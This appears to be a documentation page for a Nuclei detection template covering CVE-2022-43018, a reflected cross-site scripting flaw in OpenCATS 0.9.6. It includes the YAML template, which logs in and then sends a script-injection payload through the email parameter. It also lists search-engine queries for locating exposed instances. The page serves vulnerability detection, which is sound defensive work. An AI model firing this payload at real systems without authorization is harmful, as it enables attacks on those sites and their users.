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OpenCATS 0.9.6 - Cross-Site Scripting

ID: CVE-2022-43018

Severity: medium

Author: arafatansari

Tags: cve,cve2022,xss,opencats,authenticated

Description

Section titled “Description”

OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the email parameter in the Check Email function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2022-43018


info:
  name: OpenCATS 0.9.6 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the email parameter in the Check Email function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: |
    Upgrade to a patched version of OpenCATS or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_checkEmail.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43018
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-43018
    cwe-id: CWE-79
    epss-score: 0.00088
    epss-percentile: 0.37623
    cpe: cpe:2.3:a:opencats:opencats:0.9.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: opencats
    product: opencats
    shodan-query:
      - title:"OpenCATS"
      - http.title:"opencats"
    fofa-query: title="opencats"
    google-query: intitle:"opencats"
  tags: cve,cve2022,xss,opencats,authenticated


http:
  - raw:
      - |
        POST /index.php?m=login&a=attemptLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        username={{username}}&password={{password}}
      - |
        GET /index.php?m=toolbar&callback=abcd&a=checkEmailIsInSystem&email=</script><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}


    host-redirects: true
    max-redirects: 2


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>:0'


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502210096a20e7499a84af3a928b060625ea95e9ede9aa1c11214aced64b140fb81c11a022073199cf8ea46d7ea0443bcdff47d8098b0a6e4c0946e287dea99ec54b5030184:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-43018.yaml"

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